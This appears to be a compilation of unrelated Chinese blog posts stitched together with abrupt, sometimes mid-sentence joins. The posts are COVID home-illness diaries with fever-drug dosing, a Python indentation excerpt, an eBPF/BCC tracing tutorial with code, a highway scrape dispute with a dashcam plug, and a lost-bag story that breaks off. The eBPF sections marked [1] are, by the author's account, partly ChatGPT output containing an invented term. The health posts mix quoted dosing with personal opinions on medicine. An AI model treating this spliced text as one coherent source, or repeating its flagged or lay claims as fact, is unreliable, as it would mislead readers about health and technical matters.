一早到公司,已经没几个人上班了,H1同事到公司后,直接拿了一个两条杠的抗原给我们看,并说纠结今天要不要来公司。她说她啥症状也没有,也没有任何地方不舒服,昨晚测的抗原两条杠,以为抗原不准又测了一个还是两条杠。今天一早测一个还是两条杠,怀疑家里的抗原是失效的。到了公司以后我说不太可能抗原全是失效的,那用公司备的另外一个牌子测一下吧,一测仍是两条杠,虽然她精神状态很好,还是被我们几个阴性的给赶走了,开玩笑说你现在是不受欢迎的人,赶紧去测核酸看看。她离开办公室立刻去做了个核酸。同时昨天倒下的Z2同时的核酸结果也发群里了,妥妥的阳性。昨天倒下的C2和Z2家里都没有备药,我从公司备药中分别取了布洛芬、连花清瘟、可立克等,并告知他们注意事项。我们今天几个在办公室的小伙伴都紧张的有点过头了,原本一天测两次体温,搞得一天测好几次,都得了幻阳症。下午十分我老娘给我发了个消息说核酸结果出来了,阳性。自己又测了个抗原也是两条杠,至此我的大后方沦陷了,我第一时间跟我妈说,现在立刻回到自己的房间,不要出来,让我女儿停止上网课,立刻回到我们的房间,同事我用手机拨打了家里的小爱音响,跟我女儿说现在不要和奶奶说话,回房间呆着不许出房间门直到爸爸回家。下班后火急火燎的去接老婆下班,赶回家做好消杀,告知老娘各种注意事项。家里做了一次彻底消杀。晚上H1同事的核酸出来了,奇怪的是她的单管核酸竟然是阴性的。同时我部门P1同事的女友也确诊了。另外一个C2同事说她老娘也阳了,这一天公司加上我一共三个人自己没事,后院全失火了。
鉴于老娘阳了,居家隔离中,突然女儿就没人带了,老婆大人向公司请了假,全程在家照顾她并监督上网课。但是一早起来女儿状态就不好,焉不拉几的。我女儿一生病就比较闹人,所以这一天网课基本在她妈妈怀里抱着的。早上我去巴比馒头店买包子,7点多钟原本是早点高峰时间,竟然无一人排队,老板娘面前摞了一堆外卖单子,也没个骑手接单。她说这比过年还冷清。等我到了公司,我部门的P1发消息说他也中招了,抗原两条杠。X1来的时候还正常,精神状态都不错,但是当我们量体温发现竟然37.8℃了,赶紧让他回家。X1到家后发消息已经38℃了,并且做了个核酸和抗原,抗原结果阴性。C1由于老娘确诊,有两个孩子需要照顾,所以请假没来,周五这一天办公室只有6个人在上班了。临下班我让大家猜我们这6人中谁是下一个倒下的。H1同事今天又做了核酸,结果又是阴性,抗原依然阳性。大概她是我们办公室第一个无症状感染者。X1中午体温直奔40℃去了,告诉他注意退烧,补充电解质,不过他精神状态还不错。晚上回家,睡觉的时候从昨晚开始就变成我老婆和女儿睡一头,我睡另一头,同时三个人睡觉全带着口罩,今天又如此重复。
今日周六,家里严格执行隔离消杀动作,虽然不知道能起到多大的作用,就当图心理安慰吧。下午一家三口开着车去郊外找了个没人的地方停车,晒晒太阳,慵懒的一个午后吃吃喝喝大概是被感染前最愉快的时光了吧。去之前路过核酸亭,三个人都做了个单管核酸。晚上吃完饭,核酸结果出来了,三人都是阴性。女儿和老婆睡一头的,我睡另外一头,三人都带着口罩,这个姿势已经坚持了两晚了。刚睡下还好,半夜女儿就还是吵闹了,一会儿有痰要吐痰,一会儿有鼻涕,一会儿要尿尿,总之很不安分。三人迷迷糊糊睡到天亮。
和昨天一样起床消杀吃早饭,女儿昨晚闹腾了一夜,今天醒来的时候声音都是哑的。清了清嗓子说话才正常点。早上焉焉的状态也不好,早饭也不想吃,连哄带骗且逼的才把一个小猪包干掉。量了下体温发现还在发烧,并且嚷嚷头疼。吃晚饭后给她喂了美林,一直到美林起效,娃儿又活蹦乱跳了。老婆上午状态也明显不精神,中午饭后就昏昏欲睡,躺倒后我给量了下体温,38.4℃,发烧了嗓子还不舒服,赶紧给她和女儿都做了一下抗原,女儿紫红紫红的两道杠确诊了。老婆暂时抗原阴性,但是已经起症状了,估计要不了多久就能测出来了,感染是没跑了。我们家的隔离措施到今天也就解除了,已经没有必要了,给我老娘隔离在一个房间主要是防止小家伙感染,小家伙感染了,我夫妻两人已经笃定跑不掉了,虽然我现在还没症状,也就是一两天的事了。
如果你在手机微信端阅读,由于链接跳转麻烦,建议你通过这个合集的链接进行阅读。
if __name__ == '__main__'
写法,文中给出了我的编程建议写一篇与技术无关的文章,供大家参考。我住北京朝阳,从上周三开始我家一家三口陆续发烧生病,自测抗原后,都是阳性。好消息是,这个奥密克戎跟一般的病毒性感冒差不多,没什么可怕的,不过,整个过程除了发病之外还有一些别的因为感染带出来的事,大家也需要知晓,以准备好,以免造成生活的不便,更好的照顾好自己和家人。
我先说一下整个过程(我会不断更新这个过程,直到转阴)。说明一下,我孩子老婆都打过三针国产疫苗,孩子是科兴,老婆是北京生物,我完全没有打。
先是我家孩子(12 岁)。上周三(12 月 7 日),孩子早上起来就说头疼,一测体温,38 度 5,就停止上网课,老实休息了,我们并没给孩子吃什么药,到了晚上,孩子的体温到了 39.4,嗓子疼,我老婆用酒精给孩子物理降温(注:事实上最好别用酒精,因为会被皮肤吸收导致副作用),成功降到了 38.2 左右。周四(12 月 8 日),孩子的体温在 38.2 一天,我老婆给孩子吃了莲花清瘟,被我制止了,本来想上退烧药的,但是我想体温也不算高,能不吃就不吃,于是就让孩子冲了个复方感冒冲剂(其实里面含对乙酰氨基酚,后面会说)。周五(12 月 9 日),孩子不停地出汗,到下午体温正常了,然后咳嗽,鼻涕就来了,感冒症状来了,但精神不好,体虚无力。周末休息两天就基本没事了,也转阴了。
接下来就到我了。
周五那天感觉嗓子有点异样,我没怎么在意,周六(12 月 10)就开始发烧了,傍晚 18 点左右,我是手脚冰冷,还有点打冷颤,头晕,嗓子干燥,我就钻被子里了,在半睡不睡的状态下到了 20 点左右,我浑身发烫,我老婆过来给我一量体温,39.8,说要不要也抹点酒精?我想,北京这个季节,物理降温不就上阳台上站一会就好了吗?当然,我就是把窗开了个口,把室温降到 20 度左右,然后,短袖短裤呆了一会就感到清醒了一些。这个时候,我觉得再来碗热汤就好了,我喝不习惯生姜红糖水,又腥又甜,我就自己整了一小锅西红柿蛋花汤,为了让我更能出汗,并适合我的重口味,我又加了点辣椒,一小锅热汤下肚,汗出的不亦乐乎,体温降低到38.4度,我觉的不用再吃药了,当然,嗓子也疼了。但是我舒服了很多,最后还看了下摩洛哥是怎么把C罗送回家的比赛。
周日(12 月 11)是我最难受的一天,全天体温在 38.2左右,从早上就没有精神,吃完早点后,从 10 点一直睡到下午 15 点(因为嗓子疼,所以睡的也不安宁,各种难受), 这天我一会儿就出次汗,但是体温降不下来,始终在 38.2,然后我在犹豫是不是吃布洛芬,但是我感觉体温也不是很高,布洛芬这种药能不吃不不吃。然后,睡前喝了一袋感冒冲剂。周日这天,我婆也发烧,38.5,她全身疼痛,包括嗓子。这一天,我们在家啥也干不了,全家都在床上躲着,只有孩子还能动,所以,有些事只能让孩子去干了,我们也只点外卖了。
周一(12 月 12 日)我早上起来,38.5,开完周会后,看很多人说泰诺有用,然后翻了一下家,居然没找到,算,还是冲两包感冒冲剂得了(后来才知道,中成药里也都是掺了对乙酰氨基酚,看来中医对自己都没什么信心),于是整个下午就在出汗了,我一整天都没有什么食欲,到了下午 17 点左右,体温正常了 36.7,但是晚上又到了 37 度,开始咳痰,轻微流鼻涕,不过感觉没什么事了。而我老婆的烧居然退了,她说她应该好了。
周二(12 月 13 日)我早上起床后, 体温还是在 37.2 度,我的嗓子干燥微疼,头也不疼就是头晕,所以,今天睡了两次,一次是中午12 点半到下午 14点半,一次是 16:40 到 19:10,两次都出汗了,而且第二觉睡地太爽了,感觉是这两天睡过最高质量高的觉,而且嗓子不干了也好了,体温正常了 36.8,但是感冒症状出来了,接下来几天休息一下应该就好了。我孩子应该感冒也没有精神,所以一天来也是醒醒睡睡。而我老婆又开始发烧了,还带这样的,跳跃性发烧…… 更不好的是她嗓子已经疼到说不出话,也咽不下东西了,今天她也是床上躺了一天……
周三(12月14日)我今天已经不发烧了,就是频率不高的咳嗽,轻微鼻塞,不过,还是要休息,喝水。我老婆体温还是低烧中,嗓子疼痛好了些,感觉正在恢复中……
整个过程,对我和我孩子来说,不难受,感觉就是发3天烧睡3天,再休息 3 天的样子,嗓子干燥微疼,比以前的病毒性感冒好多了,以前的病毒性感冒导致的嗓子疼我是连咽口水都咽不下去。但是对于我老婆就不一样了,她先是浑身疼痛,嗓子干燥,到现在嗓子疼如刀割,说不出话。这个事可能也因人而异。
继续更新,自我阳性以来半个月了,从 12 月 14 日退烧后,我就一直处在感冒和低频咳嗽中,直到12 月 27 日才发现不咳嗽也不感冒了,但是说话还是有一点鼻音,估计还要 5-7 天就可以完全恢复了。
能物理降温就不要吃药来降(应该避免使用酒精擦拭,因为有副作用,用水或冰就可以了),降到 38.5 以下,就可以自己抗了。如果物理降温不奏效,就要吃布洛芬和泰诺(林),这两种药非常有帮助,但是你应该在药店里买不到了,所以,你可以买中成药或复方药,反正里面的中药没有用,而几乎所有的中成药里都被加入了“对乙酰氨基酚”,算是“间接”或“复方”泰诺(林)了。但是,不要多服,不然,药量叠加,会导致你肝肾中毒。参看《这些所谓“中成药”,关键原料是对乙酰氨基酚,服用小心叠加过量》
下面文字节选自“默沙东诊疗手册”
最有效和最广泛使用的退热药为对乙酰氨基酚和非甾体抗炎药 (NSAID),如阿司匹林、布洛芬和萘普生。
通常,人们可能采取以下方式之一:
每6小时650毫克对乙酰氨基酚(1天内不超过4000毫克)
每6小时200到400毫克布洛芬
因为许多非处方感冒药或流感制剂含有对乙酰氨基酚,人们一定要注意不要在同一时间服用对乙酰氨基酚和一种或多种这些制剂。
只有当温度达到106°F (41.1°C)左右或更高时,才需要采取其它降温措施(如用温水喷雾和降温毯降温)。避免使用酒精擦拭,因为酒精可被皮肤吸收,可能产生有害效果。
有血液感染或生命体征异常(例如,血压低、脉搏和呼吸速度加快)的人需入院。
另外,一定要多喝水,热水最好。多喝水的原因是:1)布洛芬、对乙酰氨基酚(扑热息痛)等退烧药会让人加速出汗,会导致脱水。2)布洛芬等退烧药主要在肝脏代谢,60%~90%经肾脏随尿排出。多喝水,可加速药物排出体外,减少退烧药对肝肾的损伤。3)排汗和排尿都会帮身体带走一些热量。
具体喝多少水因人而异,一般在2.5升到4升间,主要看你上厕所的频率。我因为前三天都在出汗,所以怎么喝水都不怎么上厕所,这两天我大概一天喝4升左右。总之,发烧吃退烧药更要多喝水。
另外,如果全家都病倒了,那生活就有点不方便了,所以,你得做好一些准备:
1)事先订好桶装水,18L 的那种,让人可以给家里送水,发烧期间用水很快的。
2)生活上的事要做好全家病倒的准备,做饭只能整方便的做的或是速食的了,家里存点牛奶,面包,麦片,火腿肠,水果什么的,保证营养。再不行就点外卖,我家已经点了三天的外卖。还让孩子当个配送员跑腿到菜市场和超市开着视频买东西……
3)还是要提前备药,我是准备用药的时候,发现家里只找到了布洛芬和感冒冲剂,因为我有高血脂,我还要吃瑞舒伐他汀钙片,结果发现我周边 5 公里的药店基本全都休业了,估计店员都阳了。
4)有老人的,要照顾好。有呼吸困难的,一定要送急诊。
根据知乎上的这个通过搜索引擎的测算,第一波的结束大约会在明年春节前结束。最后祝大家好运。
(全文完)
(转载本站文章请注明作者和出处 酷 壳 – CoolShell ,请勿用于任何商业用途)
More striking is the use of indentation. Although it was common in programs written in ALGOL 60 or its descendants, such as Pascal, to use indentation as a typographical layout feature for clarifying the grouping of commands, this was an entirely optional presentation choice, made purely for the benefit of the human reader. In an article by P. J. Plauger entitled “Signal and Noise in Programming Languages,”16 we found the (then) radical idea to “have the compiler read the same signal as we human beings, and let the indenting control grouping,” a suggestion we followed with enthusiasm. Indentation to indicate that a suite of commands belong together subsequently became mandatory in B0 programs, a design choice that has been maintained throughout all iterations.17
——节选自《The Origins of Python》
begin...end
及do...end
这两种当时常见的代码分组语法批评为糟糕的设计。它不反对花括号“{…}”的语法设计,但是提出了一种更为激进的设计,也就是仅用缩进来控制代码分组(let the indenting control grouping)。很早前就想写一篇关于eBPF的文章,但是迟迟没有动手,这两天有点时间,所以就来写一篇,这文章主要还是简单的介绍eBPF 是用来干什么的,并通过几个示例来介绍是怎么玩的,这个技术非常非常之强,Linux 操作系统的观测性实在是太强大了,并在 BCC 加持下变得一览无余。这个技术不是一般的运维人员或是系统管理员可以驾驭的,这个还是要有底层系统知识并有一定开发能力的技术人员才能驾驭的了的。我在这篇文章的最后给了个彩蛋。
eBPF(extened Berkeley Packet Filter)是一种内核技术,它允许开发人员在不修改内核代码的情况下运行特定的功能。eBPF 的概念源自于 Berkeley Packet Filter(BPF),后者是由贝尔实验室开发的一种网络过滤器,可以捕获和过滤网络数据包。
出于对更好的 Linux 跟踪工具的需求,eBPF 从 dtrace中汲取灵感,dtrace 是一种主要用于 Solaris 和 BSD 操作系统的动态跟踪工具。与 dtrace 不同,Linux 无法全面了解正在运行的系统,因为它仅限于系统调用、库调用和函数的特定框架。在Berkeley Packet Filter (BPF)(一种使用内核 VM 编写打包过滤代码的工具)的基础上,一小群工程师开始扩展 BPF 后端以提供与 dtrace 类似的功能集。 eBPF 诞生了。2014 年随 Linux 3.18 首次限量发布,充分利用 eBPF 至少需要 Linux 4.4 以上版本。
eBPF 比起传统的 BPF 来说,传统的 BPF 只能用于网络过滤,而 eBPF 则可以用于更多的应用场景,包括网络监控、安全过滤和性能分析等。另外,eBPF 允许常规用户空间应用程序将要在 Linux 内核中执行的逻辑打包为字节码,当某些事件(称为挂钩)发生时,内核会调用 eBPF 程序。此类挂钩的示例包括系统调用、网络事件等。用于编写和调试 eBPF 程序的最流行的工具链称为 BPF 编译器集合 (BCC),它基于 LLVM 和 CLang。
eBPF 有一些类似的工具。例如,SystemTap 是一种开源工具,可以帮助用户收集 Linux 内核的运行时数据。它通过动态加载内核模块来实现这一功能,类似于 eBPF。另外,DTrace 是一种动态跟踪和分析工具,可以用于收集系统的运行时数据,类似于 eBPF 和 SystemTap。[1]
以下是一个简单的比较表格,可以帮助您更好地了解 eBPF、SystemTap 和 DTrace 这三种工具的不同之处:[1]
工具 | eBPF | SystemTap | DTrace |
---|---|---|---|
定位 | 内核技术,可用于多种应用场景 | 内核模块 | 动态跟踪和分析工具 |
工作原理 | 动态加载和执行无损编译过的代码 | 动态加载内核模块 | 动态插接分析器,通过 probe 获取数据并进行分析 |
常见用途 | 网络监控、安全过滤、性能分析等 | 系统性能分析、故障诊断等 | 系统性能分析、故障诊断等 |
优点 | 灵活、安全、可用于多种应用场景 | 功能强大、可视化界面 | 功能强大、高性能、支持多种编程语言 |
缺点 | 学习曲线高,安全性依赖于编译器的正确性 | 学习曲线高,安全性依赖于内核模块的正确性 | 配置复杂,对系统性能影响较大 |
对比表格[1]
从上表可以看出,eBPF、SystemTap 和 DTrace 都是非常强大的工具,可以用于收集和分析系统的运行情况。[1]
eBPF 是一种非常灵活和强大的内核技术,可以用于多种应用场景。下面是 eBPF 的一些常见用途:[1]
[1]
[1]
[1]
[1]
总之,eBPF 的常见用途非常广泛,可以用于网络监控、安全过滤、性能分析和虚拟化等多种应用场景。[1]
eBPF 的工作原理主要分为三个步骤:加载、编译和执行。
eBPF 需要在内核中运行。这通常是由用户态的应用程序完成的,它会通过系统调用来加载 eBPF 程序。在加载过程中,内核会将 eBPF 程序的代码复制到内核空间。
eBPF 程序需要经过编译和执行。这通常是由Clang/LLVM的编译器完成,然后形成字节码后,将用户态的字节码装载进内核,Verifier会对要注入内核的程序进行一些内核安全机制的检查,这是为了确保 eBPF 程序不会破坏内核的稳定性和安全性。在检查过程中,内核会对 eBPF 程序的代码进行分析,以确保它不会进行恶意操作,如系统调用、内存访问等。如果 eBPF 程序通过了内核安全机制的检查,它就可以在内核中正常运行了,其会通过通过一个JIT编译步骤将程序的通用字节码转换为机器特定指令集,以优化程序的执行速度。
下图是其架构图。
(图片来自:https://www.infoq.com/articles/gentle-linux-ebpf-introduction/)
在内核中运行时,eBPF 程序通常会挂载到一个内核钩子(hook)上,以便在特定的事件发生时被执行。例如,
最后 eBPF Maps,允许eBPF程序在调用之间保持状态,以便进行相关的数据统计,并与用户空间的应用程序共享数据。一个eBPF映射基本上是一个键值存储,其中的值通常被视为任意数据的二进制块。它们是通过带有BPF_MAP_CREATE参数的bpf_cmd
系统调用来创建的,和Linux世界中的其他东西一样,它们是通过文件描述符来寻址。与地图的交互是通过查找/更新/删除系统调用进行的
总之,eBPF 的工作原理是通过动态加载、执行和检查无损编译过的代码来实现的。[1]
eBPF 可以用于对内核的性能进行分析。下面是一个基于 eBPF 的性能分析的 step-by-step 示例:
第一步:准备工作:首先,需要确保内核已经支持 eBPF 功能。这通常需要在内核配置文件中启用 eBPF 相关的选项,并重新编译内核。检查是否支持 eBPF,你可以用这两个命令查看 ls /sys/fs/bpf
和 lsmod | grep bpf
第二步:写 eBPF 程序:接下来,需要编写 eBPF 程序,用于收集内核的性能指标。eBPF 程序的语言可以选择 C 或者 Python,它需要通过特定的接口访问内核的数据结构,并将收集到的数据保存到指定的位置。
下面是一个Python 示例(其实还是C语言,用python来加载一段C程序到Linux内核)
#!/usr/bin/python3 from bcc import BPF from time import sleep # 定义 eBPF 程序 bpf_text = """ #include <uapi/linux/ptrace.h> BPF_HASH(stats, u32); int count(struct pt_regs *ctx) { u32 key = 0; u64 *val, zero=0; val = stats.lookup_or_init(&key, &zero); (*val)++; return 0; } """ # 编译 eBPF 程序 b = BPF(text=bpf_text, cflags=["-Wno-macro-redefined"]) # 加载 eBPF 程序 b.attach_kprobe(event="tcp_sendmsg", fn_name="count") name = { 0: "tcp_sendmsg" } # 输出统计结果 while True: try: #print("Total packets: %d" % b["stats"][0].value) for k, v in b["stats"].items(): print("{}: {}".format(name[k.value], v.value)) sleep(1) except KeyboardInterrupt: exit()
这个 eBPF 程序的功能是统计网络中传输的数据包数量。它通过定义一个 BPF_HASH
数据结构来保存统计结果(eBPF Maps),并通过捕获 tcp_sendmsg
事件来实现实时统计。最后,它通过每秒输出一次统计结果来展示数据。这个 eBPF 程序只是一个简单的示例,实际应用中可能需要进行更复杂的统计和分析。
第三步:运行 eBPF 程序:接下来,需要使用 eBPF 编译器将 eBPF 程序编译成内核可执行的格式(这个在上面的Python程序里你可以看到——Python引入了一个bcc的包,然后用这个包,把那段 C语言的程序编译成字节码加载在内核中并把某个函数 attach 到某个事件上)。这个过程可以使用 BPF Compiler Collection(BCC)工具来完成。BCC 工具可以通过命令行的方式将 eBPF 程序编译成内核可执行的格式,并将其加载到内核中。
下面是运行上面的 Python3 程序的步骤:
sudo apt install python3-bpfcc
注:在Python3下请不要使用 pip3 install bcc
(参看:这里)
如果你是 Ubuntu 20.10 以上的版本,最好通过源码安装(否则程序会有编译问题),参看:这里:
apt purge bpfcc-tools libbpfcc python3-bpfcc wget https://github.com/iovisor/bcc/releases/download/v0.25.0/bcc-src-with-submodule.tar.gz tar xf bcc-src-with-submodule.tar.gz cd bcc/ apt install -y python-is-python3 apt install -y bison build-essential cmake flex git libedit-dev libllvm11 llvm-11-dev libclang-11-dev zlib1g-dev libelf-dev libfl-dev python3-distutils apt install -y checkinstall mkdir build cd build/ cmake -DCMAKE_INSTALL_PREFIX=/usr -DPYTHON_CMD=python3 .. make checkinstall
接下来,需要将上面的 Python 程序保存到本地,例如保存到文件 netstat.py。运行程序:最后,可以通过执行以下命令来运行 Python 程序:
$ chmod +x ./netstat.py $ sudo ./netstat.py tcp_sendmsg: 29 tcp_sendmsg: 216 tcp_sendmsg: 277 tcp_sendmsg: 379 tcp_sendmsg: 419 tcp_sendmsg: 468 tcp_sendmsg: 574 tcp_sendmsg: 645 tcp_sendmsg: 29
程序开始运行后,会在控制台输出网络数据包的统计信息。可以通过按 Ctrl+C 组合键来结束程序的运行。
下面我们再看一个比较复杂的示例,这个示例会计算TCP的发包时间(示例参考于Github上 这个issue里的程序):
#!/usr/bin/python3 from bcc import BPF import time # 定义 eBPF 程序 bpf_text = """ #include <uapi/linux/ptrace.h> #include <net/sock.h> #include <net/inet_sock.h> #include <bcc/proto.h> struct packet_t { u64 ts, size; u32 pid; u32 saddr, daddr; u16 sport, dport; }; BPF_HASH(packets, u64, struct packet_t); int on_send(struct pt_regs *ctx, struct sock *sk, struct msghdr *msg, size_t size) { u64 id = bpf_get_current_pid_tgid(); u32 pid = id; // 记录数据包的时间戳和信息 struct packet_t pkt = {}; // 结构体一定要初始化,可以使用下面的方法 //__builtin_memset(&pkt, 0, sizeof(pkt)); pkt.ts = bpf_ktime_get_ns(); pkt.size = size; pkt.pid = pid; pkt.saddr = sk->__sk_common.skc_rcv_saddr; pkt.daddr = sk->__sk_common.skc_daddr; struct inet_sock *sockp = (struct inet_sock *)sk; pkt.sport = sockp->inet_sport; pkt.dport = sk->__sk_common.skc_dport; packets.update(&id, &pkt); return 0; } int on_recv(struct pt_regs *ctx, struct sock *sk) { u64 id = bpf_get_current_pid_tgid(); u32 pid = id; // 获取数据包的时间戳和编号 struct packet_t *pkt = packets.lookup(&id); if (!pkt) { return 0; } // 计算传输时间 u64 delta = bpf_ktime_get_ns() - pkt->ts; // 统计结果 bpf_trace_printk("tcp_time: %llu.%llums, size: %llu\\n", delta/1000, delta%1000%100, pkt->size); // 删除统计结果 packets.delete(&id); return 0; } """ # 编译 eBPF 程序 b = BPF(text=bpf_text, cflags=["-Wno-macro-redefined"]) # 注册 eBPF 程序 b.attach_kprobe(event="tcp_sendmsg", fn_name="on_send") b.attach_kprobe(event="tcp_v4_do_rcv", fn_name="on_recv") # 输出统计信息 print("Tracing TCP latency... Hit Ctrl-C to end.") while True: try: (task, pid, cpu, flags, ts, msg) = b.trace_fields() print("%-18.9f %-16s %-6d %s" % (ts, task, pid, msg)) except KeyboardInterrupt: exit()
上面这个程序通过捕获每个数据包的时间戳来统计传输时间。在捕获 tcp_sendmsg
事件时,记录数据包的发送时间;在捕获 tcp_v4_do_rcv
事件时,记录数据包的接收时间;最后,通过比较两个时间戳来计算传输时间。
从上面的两个程序我们可以看到,eBPF 的一个编程的基本方法,这样的在Python里向内核的某些事件挂载一段 “C语言” 的方式就是 eBPF 的编程方式。实话实说,这样的代码很不好写,而且有很多非常诡异的东西,一般人是很难驾驭的(上面的代码我也不是很容易都能写通的,把 Google 都用了个底儿掉,读了很多晦涩的文档……)好在这样的代码已经有人写了,我们不必再写了,在 Github 上的 bcc 库下的 tools 目录有很多……
BCC(BPF Compiler Collection)是一套开源的工具集,可以在 Linux 系统中使用 BPF(Berkeley Packet Filter)程序进行系统级性能分析和监测。BCC 包含了许多实用工具,如:
下面这张图你可能见过多次了,你可以看看他可以干多少事,内核里发生什么事一览无余。
一些经典的文章和书籍关于 eBPF 包括:
最后来到彩蛋环节。因为最近 ChatGPT 很火,于是,我想通过 ChatGPT 来帮助我书写这篇文章,一开始我让ChatGPT 帮我列提纲,并根据提纲生成文章内容,并查找相关的资料,非常之顺利,包括生成的代码,我以为我们以很快地完成这篇文章。
但是,到了代码生成的时候,我发现,ChatGPT 生成的代码的思路和方法都是对的,但是是比较老的,而且是跑不起来的,出现了好些低级错误,如:使用了未声明的变量,没有引用完整的C语言的头文件,没有正确地初始化变量,错误地获取数据,类型没有匹配……等等,在程序调试上,挖了很多的坑,C语言本来就不好搞,挖的很多运行时的坑很难察觉,所以,耗费了我大量的时间来排除各种各样的问题,其中有环境上的问题,还有代码上的问题,这些问题即便是通过 Google 也不容易找到解决方案,我找到的解决方案都放在文章中了,尤其是第二个示例,让我调试了3个多小时,读了很多 bcc 上的issue和相关的晦涩的手册和文档,才让程序跑通。
到了文章收关的阶段,我让ChatGPT 给我几个延伸阅读,也是很好的,但是没有给出链接,于是我只得人肉 Google 了一下,然后让我吃惊的是,好多ChatGPT给出来的文章是根本不存在的,完全是它伪造的。我连让它干了两次都是这样,这个让我惊掉大牙。这让我开始怀疑它之前生成的内容,于是,我不得我返回仔细Review我的文章,尤其是“介绍”、“用途”和“工作原理”这三个章节,基本都是ChatGPT生成的,在Review完后,我发现了ChatGPT 给我生造了一个叫 “无损编译器”的术语,这个术语简直了,于是我开始重写我的文章。我把一些段落重写了,有一些没有,保留下来的我都标记上了 [1]
,大家读的时候要小心阅读。
最后,我的结论是,ChatGPT只是一个不成熟的玩具,只能回答一些没有价值的日常聊天的问题,要说能取代Google,我觉得不可能,因为Google会基于基本的事实,而ChatGPT会基于内容生成的算法,在造假方面称得上是高手,可以列为电信诈骗的范畴了,我以后不会再使用ChatGPT生成文章内容或是作我的帮手了。StackOverflow把其ban了真是不能太赞了!
附件一:ChatGPT的造假载图和样本
![]() |
![]() |
ChatGPT 生成的样本一
ChatGPT 生成的样本二
附件二:发明的术语:无损编译器
![]() |
![]() |
(全文完)
(转载本站文章请注明作者和出处 酷 壳 – CoolShell ,请勿用于任何商业用途)
出差归来,一个人开车,就走了一个不常下的高速口下了。匝道最右边是绿通车道,旁边是人工车道,再过来三个是ETC车道,因为我要发票报销,自然走人工车道。事情也很简单,人工车道,因为车多的原因,加上有从匝道下来有一定的弧度,排队车辆就成了一个Y字形依次通过,当然我肯定在Y的左半枝上,并且是正对着收费口的。此时我的右边,也就是Y右枝上的车辆排队反倒是更长,有四五辆车之多,我们队伍加上我才两辆车看起来像我们像是插队的车。走着走着就到Y的节点上了,我右边的伙计不知道哪来的勇气,硬要想排我前面,如果此时摇下车窗,打个招呼我也就让你了,最烦愣头青硬挤的,本着绝不惯着,一丝一毫也不让你。然后前方车辆又挪动了半个车身,对方一脚油,只听嘎啦一声,他的车子蹭着我的反光镜,拉了长长一道,我以一个反光镜被蹭的代价,换了对方从前翼子板到前车门一道贯穿长印。
因为过于贴的紧,我车门也无法打开,无法下车,只见对方车上一顿电话,并且下车拍照取证,已证明他在正常排队,而我是插队的。我也不急着报警,也不急着下车,安心在车上坐着,不一会儿对方迅速上车,把车子开到收费站出口去了,我第一反应应该是交警在电话中叫他撤离现场,但是万一对方有事跑了咋办,我就报了个警,然后也驶出收费站了,看到对方在路边乖乖停车等着呢,接警员一会儿问我交警有没有到,一会儿问我对责任认定是否清楚,我说我很清楚,对方估计不清楚。高速交警一会儿问我对方有没有跑,一会儿说他们马上到,让我耐心等待。大概我的号码比较好记,也没见交警给对方打电话。
高速交警到达现场后,开始询问怎么回事,我还没开口,对方就呱啦呱啦的说我插队蹭了他,我也不出声,对方说完以后。交警来问我,我默默的掏出手机,之前在车上的时候已经将我的行车记录仪数据下载到手机上,然后就说了一句话:我正常排队出站,对方插队硬挤,不打灯,不打招呼,就蹭了。对方听我这么说,气急败坏的就在争辩,交警看过我的视频后,已了然于胸,告诉对方全责。问我有没有异议,有没有诉求。我说没有异议,我就反光镜蹭点漆,无伤大雅,对方肯认全责的话,我也不需要他赔偿,各走各的拉倒了。
对方大概咽不下这口气,毕竟他车两个面要做油漆,小1000块钱损失。在那赌咒发誓说我插队,交警也不多说,就问你如果有异议,你有证据吗?对方说有,有行车记录仪。然后就把车上的行车记录仪取下来,在行车记录仪上翻视频,翻了半天也没翻到。然后交警就拿了过来说我来看,然后一直翻到2016年的视频。也没看到今晚事发经过。交警就说你这是不是从来没清理过,也没有记录。证据这块作罢,但是对方还不死心,一直在叽里咕噜的嘀咕。这一对比,话说我的行车记录仪不知道要比对方高到哪里去了,这么好用的盯盯拍当然要推荐给正在阅读的你,京东链接奉上。
见对方也没个态度,交警就说如果对责任判定有异议,那就扣车处理了。对方估计也没搞明白扣车是个啥流程,就在跟交警较劲,这么小的事故为什么要扣车。交警也不废话,就说现在两辆车全部暂扣,会叫拖车将车拖到交警事故停车场,明天两位去交警队事故科进行处理。我二话没说,好的,警察同志扣车吧,开个单子我就打车回去了,出差回来累半死,毕竟都晚上9点多了。对方还是不想扣车,又在赌咒发誓自己没责任。交警说没事,去事故科,他们会调取收费站前面的监控的,能看见。又转头对我说,把你手机上的视频保存好,明天一起带过来,我说好的。对方见交警要呼叫拖车了又拦着不让。这时我插话了,我说大哥,你到底想咋地?不认可就拖车呗,明天看监控好了。交警也接话了,同志你到底想怎么处理?你有证据证明他蹭你吗?百分之百确定是对方责任吗?你如果确定百分之百是他的责任,明天去交警队一看就知道了,你担心啥?你们双方保留好证据就行。对方说那我行车记录仪没数据,也没证据啊。交警说他的证据也是证据。很明显我的证据对他相当不利。然后我又接话了,我说如果明天交警查出来责任在你的话,损失都由你承担哦。对方一想可能真的没把握全赢,也就悻悻的没气力了。交警上了最后一把火,对他说,现在他不追究你责任了,如果你认全责,他也不要你修车,你就自己修下。不认的话,等事故科定责下来还是你全责的话,可能对方还要追究你赔偿责任哦,修反光镜也是一个面。对方斟酌再三,又没百分百把握,在交警问他最后一遍是否拖车后,无奈的同意了各走各的建议。。。
▼图中圆圈中是剐蹭的对方,右边是绿通车道的队伍。
也是出差回上海的途中,只是这次行程是高铁,因为会议原因,原本17点半的高铁改签到晚上八点了。我坐的那班车上车的时候就没多少人,经过金华义乌后,人就更少了。在杭州东,我邻座的小兄弟也下车了,于是车厢中就剩下我,和最后排一堆夫妇。当列车临近抵达上海虹桥的时候,我拿上电脑,行李架上准备拿下背包。蓦然发现我的黑色背包不见了,留下一款烟灰色的背包。心里咯噔一下,坏了,包被人拿错了。
赶紧叫乘务员说我包丢了,我座位上方的背包不是我的。乘务员又把乘警叫了过来,问我包里是否有贵重物品、电脑、钱啥的?我说没有,电脑我拎在手上,背包就是换洗衣服,里面的还是脏衣服。然后一想不对,我还有个钱包在里面,虽然里面没钱,但是银行卡和身份证在里面。随手一摸口袋,还好身份证也在身上,就钱包丢了,好几张银行卡,对了还有最重要的我老婆和女儿的照片,跟乘务员说照片对我特别重要,银行卡无法就是花点时间去补办。(注:特别是老婆的照片是她从十几岁到三十几岁不同阶段的一寸照,一直放在钱包里,出门随身带的)。
